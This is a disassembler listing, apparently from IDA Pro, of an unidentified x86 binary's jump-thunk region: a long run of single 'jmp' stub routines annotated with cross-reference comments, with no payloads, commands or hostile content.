; Attributes: noreturn thunk


sub_401384	proc near		; CODE XREF: sub_418490+72p
		jmp	sub_406C30
sub_401384	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401389	proc near		; CODE XREF: sub_409D20+7p
					; sub_409E70+7p ...
		jmp	sub_40A700
sub_401389	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40138E	proc near		; DATA XREF: ___:off_43E080o
		jmp	sub_422A40
sub_40138E	endp

; ---------------------------------------------------------------------------
		jmp	loc_413AE0
; ---------------------------------------------------------------------------
		jmp	sub_42B350

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40139D	proc near		; CODE XREF: sub_418900+11p
					; sub_421CB0+1Fp
		jmp	sub_418C50
sub_40139D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B2D0


loc_4013A2:				; CODE XREF: sub_42B2D0+3j
		jmp	sub_42A810
; END OF FUNCTION CHUNK	FOR sub_42B2D0
; ---------------------------------------------------------------------------
		jmp	sub_42B4F0
; ---------------------------------------------------------------------------
		jmp	loc_42EBB0
; ---------------------------------------------------------------------------
		jmp	loc_414A60

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4013B6	proc near		; CODE XREF: sub_407290+1Fp
		jmp	sub_407370
sub_4013B6	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E7B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4013C0	proc near		; CODE XREF: sub_40FD70+3p
					; ___:00416AEBp ...
		jmp	sub_40FDA0
sub_4013C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4013C5	proc near		; CODE XREF: sub_425270+Cp
					; sub_4253E0+Ap ...
		jmp	sub_425230
sub_4013C5	endp

; ---------------------------------------------------------------------------
		jmp	loc_40D2E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4013CF	proc near		; CODE XREF: sub_40A8C0+20p
		jmp	sub_40A9F0
sub_4013CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4013D4	proc near		; CODE XREF: sub_40FF60+AFDp
					; sub_40FF60+E71p ...
		jmp	sub_40AEC0
sub_4013D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4013D9	proc near		; CODE XREF: sub_404C70+8EFp
					; sub_404C70+8F8p ...
		jmp	sub_40A270
sub_4013D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4013DE	proc near		; CODE XREF: ___:0042200Ap
		jmp	sub_422540
sub_4013DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4013E3	proc near		; CODE XREF: sub_404640+87p
					; sub_40FF60+9B0p ...
		jmp	sub_40A160
sub_4013E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4013E8	proc near		; CODE XREF: sub_426A60+12Ep
		jmp	sub_419F50
sub_4013E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4013ED	proc near		; CODE XREF: sub_41E660+35Dp
					; sub_41E660+3CAp ...
		jmp	sub_421BA0
sub_4013ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4013F2	proc near		; CODE XREF: sub_418CA0+7p
		jmp	sub_418FA0
sub_4013F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4013F7	proc near		; CODE XREF: sub_4161C0+5Fp
		jmp	sub_416790
sub_4013F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4013FC	proc near		; DATA XREF: ___:off_43E0C4o
		jmp	sub_41B3D0
sub_4013FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401401	proc near		; CODE XREF: sub_4156C0+29p
					; sub_4157E0+29p
		jmp	sub_416280
sub_401401	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401406	proc near		; CODE XREF: sub_413DA0+19Ap
		jmp	sub_4157A0
sub_401406	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40140B	proc near		; CODE XREF: ___:0042EF0Fp
					; ___:0042EF38p
		jmp	sub_42F0B0
sub_40140B	endp

; ---------------------------------------------------------------------------
		jmp	loc_42CFC0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401415	proc near		; CODE XREF: ___:00416DFFp
		jmp	sub_417E50
sub_401415	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40141A	proc near		; CODE XREF: sub_41B820:loc_41B82Fp
					; sub_41B820+1Fp
		jmp	sub_41B800
sub_40141A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40141F	proc near		; DATA XREF: sub_40AEC0+4o
		jmp	sub_40AF90
sub_40141F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401424	proc near		; CODE XREF: sub_4034E0+61p
					; sub_403C90+1Dp ...
		jmp	sub_409AE0
sub_401424	endp

; ---------------------------------------------------------------------------
		jmp	loc_435E40

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40142E	proc near		; CODE XREF: sub_418890+29p
		jmp	sub_418B10
sub_40142E	endp

; ---------------------------------------------------------------------------
		jmp	loc_433080

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401438	proc near		; CODE XREF: ___:0043286Dp
					; sub_4329F0+20p
		jmp	sub_432B20
sub_401438	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40143D	proc near		; CODE XREF: ___:00406BD3p
					; ___:00416B58p ...
		jmp	sub_406C00
sub_40143D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401442	proc near		; CODE XREF: sub_404640+370p
					; sub_404640:loc_4049E5p ...
		jmp	sub_404BE0
sub_401442	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401447	proc near		; CODE XREF: sub_404C70+26Bp
					; ___:0040F276p ...
		jmp	sub_40E7A0
sub_401447	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40144C	proc near		; CODE XREF: sub_415960+5p
		jmp	sub_416440
sub_40144C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401451	proc near		; CODE XREF: sub_40B520+1Dp
					; ___:0040B94Dp ...
		jmp	sub_40BD20
sub_401451	endp

; ---------------------------------------------------------------------------
		jmp	loc_40B5F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40145B	proc near		; CODE XREF: sub_41E660+349p
					; sub_421AF0+1Ap
		jmp	sub_421B60
sub_40145B	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_2. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401465	proc near		; CODE XREF: sub_4150F0+29p
		jmp	sub_415BE0
sub_401465	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40146A	proc near		; CODE XREF: ___:00408A2Dp
					; ___:00408A56p ...
		jmp	sub_409450
sub_40146A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40146F	proc near		; CODE XREF: sub_404640+30p
					; sub_404640+14Bp ...
		jmp	sub_40A6C0
sub_40146F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401474	proc near		; CODE XREF: sub_4192C0+1D8p
					; sub_4192C0+1EFp
		jmp	sub_419790
sub_401474	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401479	proc near		; CODE XREF: sub_4126B0+F8p
		jmp	sub_41BC90
sub_401479	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40147E	proc near		; CODE XREF: sub_413B70+E1p
		jmp	sub_4151D0
sub_40147E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401483	proc near		; CODE XREF: sub_422A40+48p
					; sub_422A40+213p ...
		jmp	sub_425870
sub_401483	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401488	proc near		; CODE XREF: sub_41B4B0+2Ap
					; sub_41B4B0+5Ap
		jmp	sub_41A5B0
sub_401488	endp

; ---------------------------------------------------------------------------
		jmp	loc_431100
; ---------------------------------------------------------------------------
		jmp	loc_42E8E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401497	proc near		; CODE XREF: sub_40ED70+EAp
		jmp	sub_40EC30
sub_401497	endp

; ---------------------------------------------------------------------------
		jmp	loc_40A6E0
; ---------------------------------------------------------------------------


loc_4014A1:				; DATA XREF: ___:off_43E078o
		jmp	loc_40F140

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014A6	proc near		; CODE XREF: sub_40BD20+16p
					; sub_40BD60+Bp ...
		jmp	sub_40C0C0
sub_4014A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014AB	proc near		; CODE XREF: sub_42B1D0+1Dp
		jmp	sub_42B240
sub_4014AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014B0	proc near		; CODE XREF: sub_41C610+4E7p
					; sub_41C610+A75p ...
		jmp	sub_41D5D0
sub_4014B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4014B5	proc near		; CODE XREF: sub_413220+48p
					; ___:00439997j ...
		jmp	sub_4156C0
sub_4014B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014BA	proc near
		jmp	sub_40AE80
sub_4014BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014BF	proc near		; DATA XREF: ___:off_43E044o
		jmp	sub_414D40
sub_4014BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014C4	proc near		; CODE XREF: ___:00426623p sub_426680j ...
		jmp	sub_426560
sub_4014C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014C9	proc near		; CODE XREF: sub_4034E0+115p
					; sub_404640+1B8p ...
		jmp	sub_409B80
sub_4014C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4014CE	proc near		; CODE XREF: sub_40AC70+7p
		jmp	sub_40AD60
sub_4014CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014D3	proc near		; CODE XREF: sub_404B10+9p
					; sub_404C70+45p ...
		jmp	sub_40A740
sub_4014D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014D8	proc near		; CODE XREF: sub_41E660+E1p
					; sub_4218F0+1Ap
		jmp	sub_421960
sub_4014D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014DD	proc near		; CODE XREF: sub_41A110+10p
					; sub_41A2B0+47p ...
		jmp	sub_41A500
sub_4014DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4014E2	proc near		; CODE XREF: sub_4070B0+24p
		jmp	sub_407290
sub_4014E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014E7	proc near		; CODE XREF: ___:0042B0F5p
		jmp	sub_42B1D0
sub_4014E7	endp

; ---------------------------------------------------------------------------
		jmp	sub_427600

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014F1	proc near		; CODE XREF: ___:00416B1Bp
					; ___:00439EB6j ...
		jmp	sub_417540
sub_4014F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014F6	proc near		; CODE XREF: sub_415B20+5Fp
		jmp	sub_416510
sub_4014F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014FB	proc near		; CODE XREF: sub_424800+Fp
					; sub_424840+1CCp ...
		jmp	sub_424760
sub_4014FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401500	proc near		; CODE XREF: sub_4282C0+117p
					; sub_4282C0+1DCp ...
		jmp	sub_409F90
sub_401500	endp

; ---------------------------------------------------------------------------
		jmp	loc_4199B0
; ---------------------------------------------------------------------------
		jmp	loc_432C30
; ---------------------------------------------------------------------------
		jmp	loc_42EC00
; ---------------------------------------------------------------------------
		jmp	loc_42EB10

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401519	proc near		; CODE XREF: sub_421F50+8p
		jmp	sub_4223A0
sub_401519	endp

; ---------------------------------------------------------------------------
		jmp	locret_419930

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401523	proc near		; CODE XREF: sub_40CBB0+1E1p
					; sub_40CF60+143p ...
		jmp	sub_419970
sub_401523	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401528	proc near		; CODE XREF: sub_418A70+3p
		jmp	sub_418D00
sub_401528	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40152D	proc near		; DATA XREF: ___:0043E1B8o
		jmp	sub_42B540
sub_40152D	endp

; ---------------------------------------------------------------------------
		jmp	loc_432580

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401537	proc near		; CODE XREF: sub_40FF60+95p
					; sub_411FE0+54Dp ...
		jmp	sub_414210
sub_401537	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40153C	proc near		; CODE XREF: sub_40B520+Bp
					; ___:0040B939p
		jmp	sub_40BE20
sub_40153C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401541	proc near		; CODE XREF: sub_42F540+1Bp
					; sub_431BE0+94p
		jmp	sub_42F6B0
sub_401541	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401546	proc near		; CODE XREF: sub_421ED0+7p
		jmp	sub_422350
sub_401546	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40154B	proc near		; CODE XREF: ___:0043285Fp
					; sub_4329F0+Fp
		jmp	sub_432B60
sub_40154B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401550	proc near		; CODE XREF: sub_418940+29p
					; sub_418A20+29p
		jmp	sub_418BC0
sub_401550	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401555	proc near		; CODE XREF: sub_40B170+40p
					; ___:00438B1Aj ...
		jmp	sub_40BCB0
sub_401555	endp

; ---------------------------------------------------------------------------
		jmp	loc_4303B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40155F	proc near		; CODE XREF: sub_40BFF0+4p
		jmp	sub_40C200
sub_40155F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401564	proc near		; CODE XREF: sub_407030+3Cp
		jmp	sub_4071E0
sub_401564	endp

; ---------------------------------------------------------------------------
		jmp	loc_41BC20

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40156E	proc near		; CODE XREF: sub_415210+4Fp
					; sub_415B20+11p ...
		jmp	sub_415D70
sub_40156E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401573	proc near		; CODE XREF: ___:00416E8Ap
		jmp	sub_418230
sub_401573	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401578	proc near		; CODE XREF: sub_413670+BEp
					; sub_413670+FCp ...
		jmp	sub_4150F0
sub_401578	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40157D	proc near		; CODE XREF: ___:00416D9Fp
		jmp	sub_417BC0
sub_40157D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401582	proc near		; CODE XREF: sub_412900+39p
					; sub_412970+A9p
		jmp	sub_412870
sub_401582	endp

; ---------------------------------------------------------------------------
		jmp	loc_4310D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40158C	proc near		; CODE XREF: sub_40A430+16Fp
					; ___:00438A8Aj
		jmp	sub_40A790
sub_40158C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401591	proc near		; CODE XREF: sub_403FC0+51p
					; ___:00404064p ...
		jmp	sub_4070B0
sub_401591	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401596	proc near		; CODE XREF: ___:00408A4Ap
					; ___:00408A73p ...
		jmp	sub_40B680
sub_401596	endp

; ---------------------------------------------------------------------------
		jmp	loc_431F90
; ---------------------------------------------------------------------------
		jmp	loc_41A180

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4015A5	proc near		; CODE XREF: sub_415FC0+4p
		jmp	sub_416610
sub_4015A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4015AA	proc near		; CODE XREF: sub_409850+1Ap
					; sub_4098A0+1Ap
		jmp	sub_409910
sub_4015AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4015AF	proc near		; DATA XREF: ___:0043E134o
		jmp	sub_428040
sub_4015AF	endp

; ---------------------------------------------------------------------------
		jmp	loc_4328F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4015B9	proc near		; CODE XREF: ___:004191A5p
		jmp	sub_419200
sub_4015B9	endp

; ---------------------------------------------------------------------------
		jmp	loc_4324C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4015C3	proc near		; CODE XREF: ___:0041D733p
		jmp	sub_41D760
sub_4015C3	endp

; ---------------------------------------------------------------------------
		jmp	loc_432200

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4015CD	proc near		; CODE XREF: sub_415340+5p
		jmp	sub_415DA0
sub_4015CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4015D2	proc near		; CODE XREF: sub_4189B0+5p
					; sub_418AB0+6p ...
		jmp	sub_418CC0
sub_4015D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4015D7	proc near		; CODE XREF: sub_404C70+953p
					; ___:00406E5Cp ...
		jmp	sub_409C80
sub_4015D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4015DC	proc near		; CODE XREF: ___:00416D5Fp
		jmp	sub_406BA0
sub_4015DC	endp

; ---------------------------------------------------------------------------
		jmp	loc_424350

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4015E6	proc near		; CODE XREF: ___:00415E2Ap
		jmp	sub_416660
sub_4015E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4015EB	proc near		; CODE XREF: sub_41EF30+1C7p
		jmp	sub_420CD0
sub_4015EB	endp

; ---------------------------------------------------------------------------


loc_4015F0:				; DATA XREF: ___:0043E1C0o
		jmp	loc_42B830

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4015F5	proc near		; CODE XREF: sub_427FF0+3p
		jmp	sub_428020
sub_4015F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4015FA	proc near		; CODE XREF: sub_404C70+E94p
					; sub_40D580+120p ...
		jmp	sub_41FF90
sub_4015FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4015FF	proc near		; CODE XREF: sub_4314C0+20p
					; sub_4314C0+32p
		jmp	sub_433670
sub_4015FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401604	proc near		; CODE XREF: ___:00431435p
		jmp	sub_42FF30
sub_401604	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401609	proc near
		jmp	sub_425980
sub_401609	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40160E	proc near		; CODE XREF: sub_4163E0+8p
		jmp	sub_4167B0
sub_40160E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401613	proc near		; DATA XREF: ___:off_43E0ACo
		jmp	sub_41E660
sub_401613	endp

; ---------------------------------------------------------------------------
		jmp	loc_41AAA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40161D	proc near		; CODE XREF: sub_40AEA0p ___:004300F2p
		jmp	sub_431300
sub_40161D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401622	proc near		; CODE XREF: sub_4070F0+1Ap
					; sub_418890+1Ap
		jmp	sub_407220
sub_401622	endp

; ---------------------------------------------------------------------------
		jmp	loc_416C90
; ---------------------------------------------------------------------------
		jmp	loc_42F070

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401631	proc near		; CODE XREF: sub_422240+5Fp
		jmp	sub_4225E0
sub_401631	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401636	proc near		; CODE XREF: ___:0041A20Ap
		jmp	sub_41B060
sub_401636	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40163B	proc near		; CODE XREF: sub_4314C0:loc_4314FEp
		jmp	sub_431560
sub_40163B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401640	proc near		; CODE XREF: sub_432E60+12p
					; sub_4335B0+51p
		jmp	sub_430520
sub_401640	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401645	proc near		; CODE XREF: ___:00416DAFp
		jmp	sub_417C60
sub_401645	endp

; ---------------------------------------------------------------------------
		jmp	loc_4301F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40164F	proc near		; CODE XREF: sub_40A850+8p
		jmp	sub_40A8A0
sub_40164F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401654	proc near		; CODE XREF: ___:00412F4Ep
		jmp	sub_4130E0
sub_401654	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401659	proc near		; CODE XREF: sub_42FAA0+ADp
					; ___:004322B0p ...
		jmp	sub_42F4F0
sub_401659	endp

; ---------------------------------------------------------------------------
		db 0E9h	; И
		db  5Dh	; ]
		db 0A1h	; ║
		db    2
		db    0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401663	proc near		; CODE XREF: sub_42B880+15Ep
		jmp	sub_42B480
sub_401663	endp

; ---------------------------------------------------------------------------
		jmp	loc_406850
; ---------------------------------------------------------------------------
		jmp	loc_42E350

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401672	proc near		; CODE XREF: ___:004073CAp
		jmp	sub_407570
sub_401672	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401677	proc near		; CODE XREF: sub_422650+3Cp
		jmp	sub_422790
sub_401677	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40167C	proc near		; DATA XREF: ___:0043E0C8o
		jmp	sub_41B4B0
sub_40167C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401681	proc near		; CODE XREF: sub_4034E0+BBp
					; ___:00406ECDp ...
		jmp	sub_4036B0
sub_401681	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401686	proc near		; CODE XREF: ___:0042EDB0p
					; ___:0042EE2Ep ...
		jmp	sub_432D80
sub_401686	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40168B	proc near		; CODE XREF: sub_409490+10p
		jmp	sub_409530
sub_40168B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401690	proc near		; CODE XREF: sub_40A430+4Ap
		jmp	sub_40A760
sub_401690	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401695	proc near		; CODE XREF: ___:00416DCFp
		jmp	sub_40F600
sub_401695	endp

; ---------------------------------------------------------------------------
		jmp	loc_4320E0
; ---------------------------------------------------------------------------
		jmp	loc_42E650

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4016A4	proc near		; CODE XREF: sub_40BEC0+9p
					; sub_40C120+18p
		jmp	sub_40C2A0
sub_4016A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4016A9	proc near		; CODE XREF: sub_41D830+283p
		jmp	sub_42E880
sub_4016A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4016AE	proc near		; CODE XREF: sub_4034E0+CCp
					; sub_404640+EDp ...
		jmp	sub_40A630
sub_4016AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4016B3	proc near		; CODE XREF: ___:00416DEFp
		jmp	sub_417E20
sub_4016B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4016B8	proc near		; CODE XREF: sub_4245F0+7Ep
					; sub_4245F0+92p ...
		jmp	sub_4244C0
sub_4016B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4016BD	proc near		; CODE XREF: sub_4126B0+E0p
					; sub_4137E0+CEp ...
		jmp	sub_409E70
sub_4016BD	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E130
; ---------------------------------------------------------------------------
		jmp	loc_42E8B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4016CC	proc near		; CODE XREF: ___:00415099p
		jmp	sub_4159D0
sub_4016CC	endp

; ---------------------------------------------------------------------------


loc_4016D1:				; DATA XREF: ___:off_43E0ECo
		jmp	loc_426620

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4016D6	proc near		; CODE XREF: sub_409600+58p
					; sub_409600+82p ...
		jmp	sub_409850
sub_4016D6	endp

; ---------------------------------------------------------------------------
		jmp	sub_426F20

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4016E0	proc near		; CODE XREF: sub_41E660+2B2p
		jmp	sub_421AB0
sub_4016E0	endp

; ---------------------------------------------------------------------------
		jmp	loc_41AE50
; ---------------------------------------------------------------------------
		jmp	loc_4118E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4016EF	proc near		; CODE XREF: sub_40A850+10p
		jmp	sub_40A8C0
sub_4016EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4016F4	proc near
		jmp	sub_4351E0
sub_4016F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4016F9	proc near		; CODE XREF: sub_418330+7Bp
					; sub_418330+C5p ...
		jmp	sub_418AE0
sub_4016F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4016FE	proc near		; CODE XREF: sub_4147D0+FCp
		jmp	sub_4149A0
sub_4016FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401703	proc near		; CODE XREF: sub_41E660+D1p
		jmp	sub_421A10
sub_401703	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401708	proc near		; CODE XREF: sub_40AE80p
					; ___:loc_4300D5p
		jmp	sub_431280
sub_401708	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40170D	proc near		; CODE XREF: sub_409600+91p
					; sub_412BC0+Dp
		jmp	sub_4097D0
sub_40170D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401712	proc near		; DATA XREF: ___:off_43E0A8o
		jmp	sub_40C400
sub_401712	endp

; ---------------------------------------------------------------------------
		jmp	loc_40ADE0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40171C	proc near		; CODE XREF: sub_4139B0+4Ep
		jmp	sub_415070
sub_40171C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401721	proc near		; CODE XREF: sub_40F600+13Dp
		jmp	sub_412B90
sub_401721	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401726	proc near		; CODE XREF: ___:0040F1C0p
		jmp	sub_40E220
sub_401726	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40172B	proc near		; CODE XREF: ___:004150C1p
		jmp	sub_415AA0
sub_40172B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401730	proc near		; CODE XREF: sub_427650+98p
		jmp	sub_4277C0
sub_401730	endp

; ---------------------------------------------------------------------------
		jmp	loc_425410
; ---------------------------------------------------------------------------
		jmp	loc_41AEF0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40173F	proc near		; CODE XREF: sub_4070F0+48p
					; sub_4070F0:loc_407175p
		jmp	sub_4072F0
sub_40173F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401744	proc near		; CODE XREF: sub_40AE10+2Cp
					; sub_418330+8Fp ...
		jmp	sub_40AF40
sub_401744	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401749	proc near		; CODE XREF: sub_4036D0+2A5p
					; sub_4036D0+2B5p ...
		jmp	sub_403D90
sub_401749	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40174E	proc near		; CODE XREF: sub_42A5F0+7Fp
					; sub_42A810+318p
		jmp	sub_42A400
sub_40174E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401753	proc near		; CODE XREF: sub_415990+16p
					; sub_4159D0+Bp ...
		jmp	sub_416530
sub_401753	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401758	proc near		; CODE XREF: sub_40AF40+10p
					; ___:0042F2C1p ...
		jmp	sub_430180
sub_401758	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40175D	proc near		; CODE XREF: ___:0040AF14p
		jmp	sub_4335B0
sub_40175D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401762	proc near		; CODE XREF: sub_418D80+5Fp
		jmp	sub_419010
sub_401762	endp


